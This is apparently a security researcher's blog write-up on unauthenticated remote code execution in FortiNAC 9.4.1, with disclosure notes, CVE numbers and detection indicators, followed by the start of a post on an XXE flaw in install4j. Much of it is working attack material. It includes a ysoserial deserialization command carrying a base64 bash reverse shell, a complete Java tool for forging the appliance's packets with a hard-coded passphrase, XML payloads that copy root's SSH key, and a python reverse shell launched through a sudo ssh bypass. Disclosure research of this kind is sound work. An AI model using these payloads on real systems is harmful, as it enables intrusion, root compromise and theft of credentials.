    Thread.setDefaultUncaughtExceptionHandler(new YamsExceptionHandler());
    try {
        final Yams server = new Yams();
        server.start(args); // [1]
    }
	...

Calling the method at [1] brings us to com.bsc.server.Yams.start(String[] args).

public void start(final String[] args) {
    this.startDate = new Date();
    Yams.startTime = System.currentTimeMillis();
    final Runtime runtime = Runtime.getRuntime();
    runtime.addShutdownHook(this.shutdown = new Thread(new ShutdownThread(), "YamsShutdownThread"));
    ResourceManager.addResourceBundle("com.bsc.properties.yams");
    this.initialize(args);
    X509Provider.install();
    this.log(this.softwareProperties.getProductVersion());
    this.log(this.licenseManager.getVendor() + " " + this.softwareProperties.getCMOSBrandable());
    this.log("Build Label: " + this.softwareProperties.getBuildLabel());
    if (this.master != null && !this.master.equals(Yams.name)) {
        this.isSlave = true;
        this.waitForMasterLoader();
    }
    this.loadPlugins();
    final String productType = this.licenseManager.getType();
    this.updateDatabase(productType);
    this.log("**** " + Yams.name + " Is Ready ****");
    this.readyPlugins();
    if (!this.isSlave) {
        this.createSockets(); // [2]
    }
	...

Assuming we’ve a standalone FortiNAC instance (or being the master node in a clustered configuration), a socket creation method is called at [2], leading us to com.bsc.server.Yams.createSockets().

public void createSockets() {
    try {
        final String port = System.getProperty("com.bsc.server.port"); // [3]
        int p = 1051;
        try {
            final Long val = Long.decode(port);
            p = val.intValue();
        }
        catch (final Exception e) {
            System.out.println("Can't connect to " + p);
            p = 1051;
        }
        final ORB myORB = ORB.init(new String[0], null);
        final Stub masterStub = (Stub)PortableRemoteObject.toStub(this);
        masterStub.connect(myORB);
        this.acceptConnection = new CampusManagerSocket(p, "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA,TLS_RSA_WITH_AES_128_GCM_SHA256,TLS_RSA_WITH_AES_128_CBC_SHA,TLS_RSA_WITH_AES_128_CBC_SHA256,TLS_RSA_WITH_AES_256_CBC_SHA", "TLSv1.2", false, new CampusManagerSocketListener() { // [4]
            @Override
            public void callbackListener(final Socket s) {
                final Thread t = new Thread(new SSLSocketHandler(s, masterStub), "SSL Socket - " + s.getRemoteSocketAddress() + ":" + s.getPort()); // [5]
                t.start(); 
            }
        });
        final Thread t = new Thread(this.acceptConnection, this.acceptConnection.getClass().getName());
        t.start(); 
    }
	...

At [3] the listening port is read from a property. You might have already spotted this in the command line of the process above as -Dcom.bsc.server.port=1050. At [4] a com.bsc.server.CampusManagerSocket.CampusManagerSocket constructor is called with a lot of parameters. The most interesting one you’ll find at the very end pointing to an interface definition com.bsc.server.CampusManagerSocketListener with a single method void callbackListener(final Socket p0). This method is directly implemented in the same place, annotated with @Override. Finally, a java.lang.Thread object is created [5] and started. The first parameter of the Thread constructor takes a Runnable target which in this case equals to a com.bsc.server.Yams.SSLSocketHandler.SSLSocketHandler.

Since this Runnable will process events in its run() method, after the Thread is started, we’ve to look at its implementation.

@Override
public void run() {
    try {
        final InetAddress remoteHost = this.socket.getInetAddress();
        if (Yams.this.debug || !remoteHost.getHostAddress().equals(Yams.localIP)) {
            YamsPluginBase.this.log("Client connecting from IP = " + remoteHost.getHostAddress() + " name = " + remoteHost.getHostName() + " port = " + this.socket.getPort() + "\n");
            Yams.this.connections.put(remoteHost, new Date());
        }
        this.socket.setSoTimeout(30000);
        byte[] store = X509Provider.getClientSideKeyStore();
        final ObjectOutputStream stream = new ObjectOutputStream(this.socket.getOutputStream());
        stream.writeObject(this.masterStub);
        stream.writeObject(store);
        final ObjectInputStream inStream = new ObjectInputStream(this.socket.getInputStream()); // [6]
        store = (byte[])inStream.readObject(); // [7]
        Yams.this.addKeyStore(store);
        stream.close();
        inStream.close();
    }
	...

This handler reads data from the socket via java.net.Socket.getInputStream() into a java.io.ObjectInputStream [6] and…calls readObject() on it at [7]. Sounds like “game over” and I already bet my favourite Java gadgets would have been available in the class path. The java version 1.8.0_332 also didn’t give me any headaches so far. We find plenty of nice Java libraries in /bsc/campusMgr/lib, commons-beanutils-1.9.2.jar being one of them.

We don’t have any more reasons to wait, so create and send the payload for a reverse shell over a ncat SSL connection: java -jar ysoserial-master-SNAPSHOT.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzcuMC4xNi8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}" | ncat --ssl 10.137.0.34 1050

We got a shell as nac user: First unauthenticated RCE in round 1.

Auditing Service Port 5555

That nice and all, but let’s look at another service which might be a bit more challenging and interesting to exploit. Looking at the other process with PID 2547, what can we find in its command line call? /usr/bin/java -server -Xms32m -Xmx768m -Dyams.dist=/bsc/campusMgr -classpath .:/bsc/campusMgr/lib/*:./properties_plugin:/bsc/campusMgr/properties com.bsc.server.CampusManager /bsc/campusMgr/bin/.networkConfig /bsc/campusMgr/master_loader/.cmas.

Starting with the class com.bsc.server.CampusManager this time, including some parameters for the entry point. Again, we’re starting at the main method com.bsc.server.CampusManager.main(String[] args).

public static void main(final String[] args) {
    final double version = getJavaVersion();
    if (version < 1.6) {
        System.out.println("Error: Incorrect java version. Java 1.6 or higher required. Version = " + version);
        System.exit(1);
    }
    loadProperties("com.bsc.loader.system.property.");
    X509Provider.install();
    System.setProperty("javax.rmi.CORBA.UtilClass", "com.bsc.api.CORBAUtil");
    Thread.setDefaultUncaughtExceptionHandler(new YamsExceptionHandler());
    try {
        final CampusManager campusManager = new CampusManager(args); // [1]
    }
	...

At [1] the constructor for com.bsc.server.CampusManager.CampusManager(String[] args) gets called, passing along the input arguments. This constructor is huge such that I only try to cut out the relevant stuff for you.

public CampusManager(final String[] args) {
    ...
    if (args.length >= 2) {
        this.configFile0 = args[0];
        this.configFile1 = args[1];
        final String yamsDist = YamsDist.getCampusMgrPath();
        final File file = new File(yamsDist + "/.intialResources");
        if (file.exists()) {
            ResourceManager.loadInitialResources(yamsDist + "/.intialResources");
        }
        this.readConfigFiles(this.configFile0, this.configFile1, true, true); // [2]
    }
	...

Hitting the method call at [2] brings us to the implementation of com.bsc.server.CampusManager.readConfigFiles(String file0, String file1, boolean createNewLog, boolean startProcesses). This is another huge function, therefore the relevant snippets are shown here.

public void readConfigFiles(final String file0, final String file1, final boolean createNewLog, final boolean startProcesses) {
    this.debug("starting readConfigFiles");
    ...
    this.name = this.product;
    if (this.name != null) {
        if (startProcesses) {
            this.sslSocketThread = new CampusManagerSocket(this.serverPort, "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA,TLS_RSA_WITH_AES_128_GCM_SHA256,TLS_RSA_WITH_AES_128_CBC_SHA,TLS_RSA_WITH_AES_128_CBC_SHA256,TLS_RSA_WITH_AES_256_CBC_SHA", "TLSv1.2", false, new CampusManagerSocketListener() {
                @Override
                public void callbackListener(final Socket s) { // [3]
                    final Thread t = new Thread(new SSLSocketHandler(s), "SSL Socket - " + s.getRemoteSocketAddress() + ":" + s.getPort());
                    t.start();
                }
            });
            final Thread t = new Thread(this.sslSocketThread, this.sslSocketThread.getClass().getName());
            t.start();
            (this.commandThread = new CommandThread()).start();
        }
		...

Looks familiar, doesn’t it? We have a com.bsc.server.CampusManagerSocket.CampusManagerSocket constructor with a parameter implementing com.bsc.server.CampusManagerSocketListener’s callbackListener(final Socket s) method at [3].

But this time, we find a com.bsc.server.CampusManager.SSLSocketHandler.SSLSocketHandler object in our java.lang.Thread constructor. Looking at the run method, not so straight-forward anymore, i.e. no lonely readObject waiting for us to be called.

@Override
public void run() {
    final InetAddress remoteHost = this.socket.getInetAddress();
    final int port = this.socket.getPort();
    try {
        if (CampusManager.this.debug || !remoteHost.getHostAddress().equals(CampusManager.this.ip)) {
            CampusManager.this.debug("Client connecting from IP = " + remoteHost.getHostAddress() + " name = " + remoteHost.getHostName() + " port = " + this.socket.getPort());
        }
        this.socket.setSoTimeout(0);
        this.socket.setKeepAlive(true);
        final OutputStream out = this.socket.getOutputStream();
        final InputStream in = this.socket.getInputStream();
        while (true) {
            final CampusManagerPacket packet = new CampusManagerPacket(remoteHost, port, in); // [4]
            if (packet.isValidHeader()) {
                CampusManager.this.processPacket(packet, out);
            }
        }
    }
	...

Yes, again the input from the socket is read by java.net.Socket.getInputStream() but this time into a java.io.InputStream variable. So what happens with our data at [4]? The large com.bsc.util.CampusManagerPacket.CampusManagerPacket(InetAddress address, int port, InputStream in) constructor gives us the answers we’re looking for.

public CampusManagerPacket(final InetAddress address, final int port, final InputStream in) throws IOException {
		...
    this.passPhrase = "C1#!ff24A0K2"; // *cough*
		...
    this.unpackInputStream(in, packetLength); // [5]
}

At [5] our InputStream is forwarded to the method com.bsc.util.CampusManagerPacket.unpackInputStream(InputStream in, int packetLength).

private void unpackInputStream(final InputStream in, final int packetLength) throws IOException {
    final DataInputStream input = new DataInputStream(in); //[6]
    this.requestID = input.readInt(); // [7]
    this.responseID = input.readInt(); // [8]
    this.verb = input.readInt(); // [9]
    int len = input.readInt(); // [10]
    this.length = len;
    if (len > 4000) {
        len = packetLength - 32;
        this.error = 3;
    }
    final byte[] packetHash = new byte[16];
    for (int i = 0; i < 16; ++i) {
        packetHash[i] = input.readByte(); // [11]
    }
    final byte[] calculatedHash = this.hashHeader((int)this.requestID, (int)this.responseID, this.verb, this.length);
    this.validHeader = Arrays.equals(packetHash, calculatedHash);
    this.aesEncryptionEnabled = ((this.verb & 0x1000000) != 0x0);
    this.verb &= 0xFFFFFF;
    if (len > 0) {
        input.readFully(this.compressedData = new byte[len]); // [12]
    }
    if (this.compressedData != null && this.aesEncryptionEnabled) {
        final byte[] b = this.passPhrase.getBytes();
        final ByteArrayOutputStream baos = new ByteArrayOutputStream();
        final DataOutputStream output = new DataOutputStream(baos);
        output.write(b, 0, b.length);
        output.writeInt((int)this.requestID);
        final byte[] phrase = baos.toByteArray();
        this.compressedData = EncodeDecode.decryptAES(phrase, this.compressedData);
        output.close();
        baos.close();
    }
}

This seems to be some kind of custom packet format being processed, so we do have to understand the structure first.

At [6] our input flows into a java.io.DataInputStream.DataInputStream constructor. Then every line from [7] to [10] reads the next four bytes from the stream, then being interpreted as an int. requestID, responseID, verb and len will be relevant later but as you see, all of these are user-controlled.

This is also the case for a packet hash, fetched from the stream at [11]. This is then compared to a calculatedHash which…well consists of a calculation solely based on the other variables we control already.

At [12] then, the remaining data are read from the stream into the compressedData variable. Depending on the verb, there might be an additional decryption routine. That wouldn’t hold as back of course because the secret key is hard-coded anyways…

Back to our com.bsc.server.CampusManager.SSLSocketHandler.run() method, packet.isValidHeader() will be equal to true for sure, because we understood the packet structure and know what we’re doing, right? The next line in the code flow hits CampusManager.this.processPacket(packet, out).

private void processPacket(final CampusManagerPacket packet, final OutputStream out) throws IOException {
    final InetAddress host = packet.getAddress();
    final int port = packet.getPort();
    final String packetIP = host.getHostAddress();
    this.debug("ReceivePacket IP = " + packetIP + " port = " + port + " Verb = " + CampusManagerPacket.verbToString(packet.getVerb()) + " RequestID = " + packet.getRequestID() + " ResponseID = " + packet.getResponseID() + " length = " + packet.getLength());
    String xml = null;
    try {
        xml = this.processPacket(packet); // [13]
    }
    catch (final Exception e) {
        e.printStackTrace();
        xml = "Process aborting. " + e.getMessage();
    }
    if (packet.getVerb() != 2) {
        final CampusManagerPacket p = new CampusManagerPacket();
        p.setAddress(host);
        p.setPort(port);
        p.setVerb(2);
        p.setResponseID(packet.getRequestID());
        p.setXml(xml);
        final DataOutputStream dos = new DataOutputStream(out);
        p.writePacket(dos);
        dos.flush();
    }
}

At [13] we spot an xml variable, the content coming from within our packet. Smells like a chance for XML External Entity (XXE) exploitation?!

XML External Entity

Looking into com.bsc.server.CampusManager.processPacket(CampusManagerPacket packet) next reveals:

private String processPacket(final CampusManagerPacket packet) throws Exception {
    String retval = null;
    final int verb = packet.getVerb(); // [14]
    this.debug("processPacket() Verb = " + CampusManagerPacket.verbToString(verb));
    if (verb == 2) {
        this.requests.remove(new Long(packet.getResponseID()));
        this.responses.addResponse(packet);
    }
    else if (verb == 4) {
        this.setDebug(!this.debug);
    }
    ...
    else if (verb == 5) {
        final CommandObject obj = new CommandObject(packet.getXml()); // [15]
        this.log(obj.toString());
        if (obj.commandName == null || !this.isAllowedRemoteCommand(obj.commandName)) {
            this.log("WARNING: remote command not allowed (" + obj.commandName + ")");
            throw new Exception("Remote command not allowed (" + obj.commandName + ")");
        }
        try {
            this.commandVector.put(obj);
        }
        catch (final InterruptedException e) {
            e.printStackTrace();
        }
    }
    ...
    else if (verb == 9) {
        this.debug("configFiles: " + this.configFile0 + "  " + this.configFile1);
        this.talkedToPartner = false;
        this.readConfigFiles(this.configFile0, this.configFile1, false, false);
        final InetAddress remoteAddress = packet.getAddress();
        final String remoteIP = remoteAddress.getHostAddress();
        if (this.controlServer && this.inControl) {
            this.sendToNetwork(9, remoteIP);
        }
    }
    else if (verb == 11) {
        this.shutdown = true;
    }
    if (retval == null && verb != 2 && verb != 6) {
        retval = this.buildAck();
    }
    return retval;
}

Our com.bsc.util.CampusManagerPacket packet comes in and the verb gets extracted at [14]. Depending on this verb different operations can be triggered. There exist quite a number of else if constructs but I again cut out the most relevant parts for my readers.

For no specific reasons, we focus on the verb being equal to 5 case so at [15] the XML content is retrieved from the packet via com.bsc.util.CampusManagerPacket.getXml(). This method is not particularly interesting, i.e. only some decompressing takes place. But the com.bsc.server.CampusManager.CommandObject.CommandObject(String xml) constructor implementation confirms our initial assumption.

public CommandObject(final String xml) {
    this.commandName = null;
    this.args = new String[0];
    this.buffer = new StringBuffer();
    this.time = 0L;
    this.retval = false;
    this.index = 0;
    try {
        final StringReader reader = new StringReader(xml);
        final InputSource source = new InputSource(reader);
        final DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        final DocumentBuilder builder = factory.newDocumentBuilder();
        final Document doc = builder.parse(source); // [16]
        doc.getDocumentElement().normalize();
        this.commandName = CampusManagerMachine.getXmlValue(doc, "commandName");
        if (this.commandName != null) {
            this.commandName = this.commandName.trim();
        }
        final String[] tmp = CampusManagerMachine.getXmlValues(doc, "arg");
        if (tmp != null) {
            this.args = tmp;
        }
    }
	...

At [16] we hit a well-known XXE sink javax.xml.parsers.DocumentBuilder.parse(InputSource is). But to prove this, we need a little bit of code because the custom packet structure has to be created manually. I’ll give you the full implementation here.

import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.StringReader;
import java.nio.ByteBuffer;
import java.nio.charset.Charset;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.zip.Deflater;

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.InputSource;

public class BuildPacket {

	public static void main(String[] args) throws Exception {
		FileOutputStream fos = new FileOutputStream("test_packet");
		DataOutputStream dos = new DataOutputStream(fos);
		int requestId = 1;
		int responseID = 2;
		int verb = 5;

		// Encryption
		String passPhrase = "C1#!ff24A0K2";
		final byte[] b = passPhrase.getBytes();
		final ByteArrayOutputStream baos = new ByteArrayOutputStream();
		final DataOutputStream output = new DataOutputStream(baos);
		output.write(b, 0, b.length);
		output.writeInt((int) requestId);
		final byte[] phrase = baos.toByteArray();

		String xml = readFile("test.xml", Charset.defaultCharset());
		//checkXml(xml);
		byte[] compressedXml = compressXML(xml);
		//byte[] encryptedcompressedXml = EncodeDecode.encryptAES(phrase, compressXML(xml));

		int len = compressedXml.length;
		// Built valid hash
		byte[] packetHash = hashHeader(requestId, responseID, verb, len);

		dos.writeInt(requestId);
		dos.writeInt(responseID);
		dos.writeInt(verb);
		dos.writeInt(len);
		dos.write(packetHash);
		// Case 1: compressedXml, Case 2: encryptedcompressedXml
		dos.write(compressedXml);

		dos.flush();
		dos.close();
		fos.flush();
		fos.close();
		System.out.println("File written: test_packet");
		if ((verb & 0x1000000) != 0x0)
			System.out.println("Should contain encrypted part!");
		System.out.println("Final verb:" + (verb & 0xFFFFFF));
	}

	private static byte[] hashHeader(final int requestID, final int responseID, final int verb, final int length) {
		MessageDigest md5Digest;
		try {
			md5Digest = MessageDigest.getInstance("MD5");
		} catch (final NoSuchAlgorithmException e) {
			e.printStackTrace();
			md5Digest = null;
		}
		byte[] hash = null;
		if (md5Digest != null) {
			ByteBuffer data = ByteBuffer.allocate(16);
			data = data.putInt(0, requestID);
			data = data.putInt(4, responseID);
			data = data.putInt(8, verb);
			data = data.putInt(12, length);
			md5Digest.update(data.array());
			hash = md5Digest.digest();
		}
		return hash;
	}

	private static byte[] compressXML(final String val) {
		String xml;
		if (val != null) {
			Deflater compressor = null;
			try {
				xml = val;
				final byte[] bytes = xml.getBytes();
				compressor = new Deflater();
				compressor.setLevel(9);
				compressor.setInput(bytes);
				compressor.finish();
				final ByteArrayOutputStream bos = new ByteArrayOutputStream(bytes.length);
				final byte[] buf = new byte[1024];
				while (!compressor.finished()) {
					final int count = compressor.deflate(buf);
					bos.write(buf, 0, count);
				}
				bos.close();
				return bos.toByteArray();
			} catch (final Exception e) {
				e.printStackTrace();
			} finally {
				if (compressor != null) {
					compressor.end();
				}
			}
		} else {
			return null;
		}
		return null;
	}

	private static String readFile(String path, Charset encoding) throws IOException {
		byte[] encoded = Files.readAllBytes(Paths.get(path));
		return new String(encoded, encoding);
	}

	private static String getXmlValue(final Document doc, final String key) {
		String value = null;
		final NodeList nodeList = doc.getElementsByTagName(key);
		if (nodeList.getLength() > 0) {
			final Node node = nodeList.item(0);
			final Node val = node.getFirstChild();
			if (val != null && val.getNodeValue() != null) {
				value = val.getNodeValue();
			}
		}
		return value;
	}

	private static String[] getXmlValues(final Document doc, final String key) {
		String[] values = null;
		final NodeList nodeList = doc.getElementsByTagName(key);
		if (nodeList.getLength() > 0) {
			values = new String[nodeList.getLength()];
			for (int i = 0; i < nodeList.getLength(); ++i) {
				final Node node = nodeList.item(i);
				final Node val = node.getFirstChild();
				if (val != null && val.getNodeValue() != null) {
					values[i] = val.getNodeValue();
				}
			}
		}
		return values;
	}

	private static void checkXml(String xml) throws Exception {
		final StringReader reader = new StringReader(xml);
		final InputSource source = new InputSource(reader);
		final DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
		final DocumentBuilder builder = factory.newDocumentBuilder();
		final Document doc = builder.parse(source);
		doc.getDocumentElement().normalize();
		String commandName = getXmlValue(doc, "commandName");
		if (commandName != null) {
			System.out.println(commandName.trim().toString());
		}
		final String[] tmp = getXmlValues(doc, "arg");
		if (tmp != null) {
			for(int i = 0; i < tmp.length; ++i)
				System.out.println(tmp[i]);
		}
	}

}

You could now provide an arbitrary text.xml file and running this code will give you an output file test_packet. This then could be directly delivered to the TCP port 5555 via ncat --ssl.

Let’s test the following XXE primitive, i.e. we build a test.xml with the following content:

&send;

After running our BuildPacket program on it, the test_packet file is delivered to the FortiNAC instance via ncat --ssl 10.137.0.34 5555 < test_packet.

But “only” getting unauthenticated XXE didn’t meet my expectations for what I’ve seen so far. Let’s dig deeper!

Argument Injection

If someone sees a name like com.bsc.server.CampusManager.CommandObject, we have to dig deeper as hackers, don’t we? Thus, we have another look into the method com.bsc.server.CampusManager.processPacket(CampusManagerPacket packet), especially the part of where the verb is equal to 5.

...
else if (verb == 5) {
    final CommandObject obj = new CommandObject(packet.getXml());
    this.log(obj.toString());
    if (obj.commandName == null || !this.isAllowedRemoteCommand(obj.commandName)) { // [17]
        this.log("WARNING: remote command not allowed (" + obj.commandName + ")");
        throw new Exception("Remote command not allowed (" + obj.commandName + ")");
    }
    try {
        this.commandVector.put(obj); // [18]
    }
	...

The CommandObject holds an attribute commandName which is checked here against a list of allowed remote commands in [17]. If this turns out to be fine, at [18] the CommandObject is put into commandVector of type BlockingQueue. But how are these commands executed and which ones are allowed at all?

We check the allow list implementation first in com.bsc.server.CampusManager.isAllowedRemoteCommand(String cmd).

private boolean isAllowedRemoteCommand(final String cmd) {
    boolean retval = false;
    final String val = this.configManager.getValue("ALLOWED_REMOTE_CMDS"); // [19]
    if (val != null && val.length() > 0) {
        final String[] split;
        final String[] arr = split = val.split(",");
        for (final String s : split) {
            if (cmd.contains(s)) {
                retval = true;
                break;
            }
        }
    }
	...

ALLOWED_REMOTE_CMDS at [19] seems to be a list, defined elsewhere, containing comma separated values for valid commands. We find this value being defined in /bsc/campusMgr/master_loader/.cm.

ALLOWED_REMOTE_CMDS=installAgentPackage,configApache,install-bin

We start to look for these scripts or binaries on the FortiNAC instance and find them quickly, e.g. a shell script /bsc/campusMgr/bin/installAgentPackage. The reachable part in this script is shown next.

else
    cp $1/$2 /bsc/campusMgr/agent/packages
fi

for which we presumably have control over the argument parameters $1 and $2. That’s a good theory but can we really call this script with arbitrary arguments delivered through an XML over TCP port 5555? Following the code a bit further reveals how this commandVector is used later on.

There is another java.lang.Thread extending class com.bsc.server.CampusManager.CommandThread which periodically takes care of checking some lists for new members. How does the run() method look like?

@Override
public void run() {
    while (!CampusManager.this.shutdown) {
        CommandObject obj = null;
        try {
            boolean done = false;
            final long startTime = System.currentTimeMillis();
            while (!done) {
                done = true;
                for (int i = 0; done && i < this.commands.size(); ++i) {
                    final CommandObject val = this.commands.get(i);
                    if (val != null && val.time + 600000L < startTime) {
                        this.commands.remove(i);
                        done = false;
                    }
                }
            }
            obj = CampusManager.this.commandVector.take(); // [20]
            if (!CampusManager.this.shutdown && obj != null && obj.commandName != null && obj.args != null) {
                this.commands.remove(obj);
                this.commands.add(obj);
                String systemCommand = obj.commandName.trim(); // [21]
                for (int j = 0; j < obj.args.length; ++j) {
                    if (obj.args[j] != null) {
                        systemCommand = systemCommand + " " + obj.args[j].trim(); // [22]
                    }
                }
                CampusManager.this.log("Running command = " + systemCommand);
                final Process pr = Runtime.getRuntime().exec("sudo " + systemCommand); // [23]
                final BufferedReader input = new BufferedReader(new InputStreamReader(pr.getInputStream()));
                final BufferedReader error = new BufferedReader(new InputStreamReader(pr.getErrorStream()));
                done = false;
				...

At [20] the commandVector queue is checked for entries by retrieving and removing the head of the queue. From an entry, it takes the commandName value [21] as systemCommand, iterates over a list of args values and concatenates them into a single String [22]. Finally, at [23] the overall command gets executed with a classic java.lang.Runtime.getRuntime().exec(String command) call. And…with sudo which means built-in privilege escalation from nac to root.

Well, we seem to be restricted to the allowed commands but these already are quite powerful. For a proof-of-concept argument injection payload we build another test.xml.

installAgentPackage
/root


.ssh/id_rsa

This should copy us the SSH private key of the root user to the directory /bsc/campusMgr/agent/packages. Works just fine! With these scripts one can already do several dangerous operations on the FortiNAC instance (reconfigure the Apache!) but again: not satisfied, yet.

Allow List Bypass - Argument Injection to Command Injection

The experienced code auditors among you might already have spotted some flaw in the com.bsc.server.CampusManager.isAllowedRemoteCommand(String cmd) in the snippet above.

if (cmd.contains(s)) {
    retval = true;
    break;
}

The good old contains vs. equals case. Remember, we want to get rid of the argument injection case, so we’ve to get full control over the first command after sudo. Take this test.xml for example.

touch /tmp/RCE installAgentPackage

This commandName indeed contains installAgentPackage, an allowed command. This will indeed execute as expected, giving us unauthenticated RCE, at least from a proof-of-concept point of view. But what we really want is a reverse shell or so. This time, we borrow a well-known trick to get a full shell environment in Runtime.getRuntime().exec calls. A new text.xml, please.

bash -c $@|bash installAgentPackage echo touch /tmp/RCE

Deliver and….nothing, no new file /tmp/RCE created. Luckily, extended logging is enabled by default at FortiNACs and found in e.g. /bsc/logs/output.processManager.

yams.CampusManager INFO :: 2023-03-26 10:53:09:958 :: #386 :: commandName = bash -c $@|bash installAgentPackage echo touch /tmp/RCE
buffer = 
time = 0
retval = false

yams.CampusManager INFO :: 2023-03-26 10:53:09:958 :: #386 :: isAllowedCommand(bash -c $@|bash installAgentPackage echo touch /tmp/RCE) true
yams.CampusManager INFO :: 2023-03-26 10:53:09:958 :: #15 :: Running command = bash -c $@|bash installAgentPackage echo touch /tmp/RCE 
yams.CampusManager INFO :: 2023-03-26 10:53:10:959 :: #15 :: Sorry, user nac is not allowed to execute '/bin/bash -c $@|bash installAgentPackage echo touch /tmp/RCE' as root on localhost.localdomain.

isAllowedCommand(bash -c $@|bash installAgentPackage echo touch /tmp/RCE) true sounds good but this is new to us: Sorry, user nac is not allowed to execute '/bin/bash -c $@|bash installAgentPackage echo touch /tmp/RCE' as root on localhost.localdomain.

Sudo Restriction Bypass

Being able to execute commands with sudo usually is a nice gift for attackers but you can also restrict a lot of things to make someones life a bit harder. For the user nac an extra “sudoers” file exists at /etc/sudoers.d/nac. This file contains a lot of stuff but I’ll only present the relevant pieces again.

...
User_Alias NAC_MGMT = tomcat, nac
...
Cmnd_Alias NAC_MGMT_COMMANDS = \
                         /bin/cp, \
                         /usr/bin/nmap, \
                         /usr/bin/scp, \
                         /usr/bin/ssh, \
                         /usr/bin/openssl, \
                         /bin/ln, \
                         /bin/hostname, \
						 ...

The nac user has a lot of commands available to be executed with root privileges. I didn’t even know which one to choose first :-P.

But starting from the very beginning of the list, I hit the ssh command within seconds. SSH to localhost with appending an arbitrary command should be as easy as this test.xml.

ssh -E installAgentPackage root@localhost

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.137.0.16",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

And here we are, getting our reverse shell as root user. Unauthenticated RCE in round 2.

Conclusions

During my disclosure process starting in early March 2023, I was informed that the SSH primitive in my last RCE chain was fixed independently by Fortinet’s team in version 9.4.2, i.e. days after my submission. Since I worked on a 9.4.1 version with a patch for CVE-2022-39952 only, I wasn’t aware of this at this time. Also I (still) don’t have access to 9.4.2 (or newer) virtual machine images such that I couldn’t test for additional bypasses (bet there are others). Nevertheless, for a fully patched 9.4.1 the second RCE chain was still valid and working, as are all my other findings. For 9.4.2 feel free to look for other bypasses to escalate my still valid argument injection to RCE again. Fortinet provided patches for all my other vulnerabilities although I couldn’t confirm their effectiveness. Tl;dr: all my exploits turned out to be fully functional and valid against 9.4.1. For 9.4.2, FG-IR-22-304 seemed to have been mitigated my XXE vector, FG-IR-22-309 my sudo ssh chain part of the second RCE. The relevant patch release 9.4.3 was already released in the beginning of April 2023 but still no security advisories, yet. This is why I informed the Fortinet PSIRT about this blog post’s release time in advance and they also acknowledged my plans to do so. The following CVEs were assigned by Fortinet.

CVE-2023-33299 (Untrusted Deserialization)
CVE-2023-33300 (Command Injection)

Internet Exposure Check

Fortunately, not a lot of companies expose TCP ports 1050 or 5555 to the public Internet. Similar to my UN post, one interesting candidate stood out at the very top of our Censys search. A machine being part of the Chemonics International, Inc. company network indeed gave access to these services. This is a well-known company closely working with the U.S. government so I used the official CISA reporting site to forward this information to the Department of Homeland Security (DHS). A few days later the vulnerables services were found to be gone. This product is still a valuable target in Intranet assessments, though. Happy Pwning!

Indicators of Compromise (IoCs)

Exploitation attempts could be detected by looking at the appropiate application log file.

Insecure deserialization on TCP port 1050: any stack trace in /bsc/logs/output.master containing ObjectInputStream.readObject() should be rated as suspicious.
Command injection on TCP port 5555: any occurence of isAllowedCommand$.+$ false in /bsc/logs/output.processManager should be rated as exploitation attempt.

XXE with Auto-Update in install4j

2023-02-12T23:00:00+00:00

Storyline

In this blog post I describe a vulnerability for which I got a little bit too excited in the beginning. It is related to a target of the upcoming Pwn2Own 2023 competition. This was the first time I wanted to look for vulnerabilities in their target list and thanks to some hints from friends I quickly chose my first (and only!) target: the Prosys OPC UA Simulation Server. Several very skilled researchers partly pwned this in former competitions, at least parts of it with Denial-of-Service conditions, I think. My primary motivation was not to participate myself but to get a feeling about the difficulty level of the targets.

During the installation routine on my Windows VM, the wizard closed with choosing an auto update interval. I immediately got reminded of several successful pwnages by former competitors targeting insecure update functions (all the love for curl -k & Co.). Since I had only two days left (lucky punch mode?!) between Christmas and New Year’s Eve (2022/2023), the update function seemed to be a feasible victim to hunt for.

As you will read in the following text, I did not manage to pwn the Prosys product properly but instead found a vulnerability in install4j which could presumably be applied in a lot of other software.

install4j is a powerful multi-platform Java installer builder that generates native installers and application launchers for Java applications.

Indeed, this installer software framework seems to be used a lot (e.g. BurpSuite :-P) which I wasn’t aware of in the beginning. This vulnerability is not applicable to Prosys OPC UA Simulation Server unfortunately except with e.g. a badly configured SSL Inspection product in your company. Nevertheless, the Proof-of-Concept (PoC) exploitation will be shown against exactly this because it was my initial target. So let’s begin.

Vulnerability Discovery

The latest version 10.0.4 (and former versions) of install4j is vulnerable to a XML External Entity (XXE) attack. Products using install4j with its (automatic) update feature could be exploited, if connections to the update server are successfully controlled in some way. If any affected product triggers an update check (scheduled or manually), the update server responds with a XML file containing information about available software versions with attributes pointing to the newest version, file hashes for verification etc. This delivered XML content is read by the client system with the product installed and parsed insecurely.

The class com/install4j/runtime/installer/helper/XmlHelper implements the method public static Document parseFile(final File file) which seems to be the primary entrypoint for (auto) update checks. The following code outline shows the full path to the vulnerable sink.

public static Document parseFile(final File file) throws IOException {
    return parseFile(file, false, false); // [1]
}
-----------
public static Document parseFile(final File file, final boolean validating, final boolean downloadExternalEntities) throws IOException {
    return parse(new InputSource(file.toURI().toASCIIString()), validating, downloadExternalEntities); // [2]
}
-----------
private static Document parse(final InputSource inputSource, final boolean validating, final boolean downloadExternalEntities) throws IOException {
    final DocumentBuilderFactory documentBuilderFactory = createDocumentBuilderFactory(); // [3]
	----------- /* excerpt for the method called in [3] */
			public static DocumentBuilderFactory createDocumentBuilderFactory() {
				try {
					return DocumentBuilderFactory.newInstance("com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderFactoryImpl", null); // [4]
				}
				catch (final Throwable t) {
					return DocumentBuilderFactory.newInstance();
				}
			}
	-----------
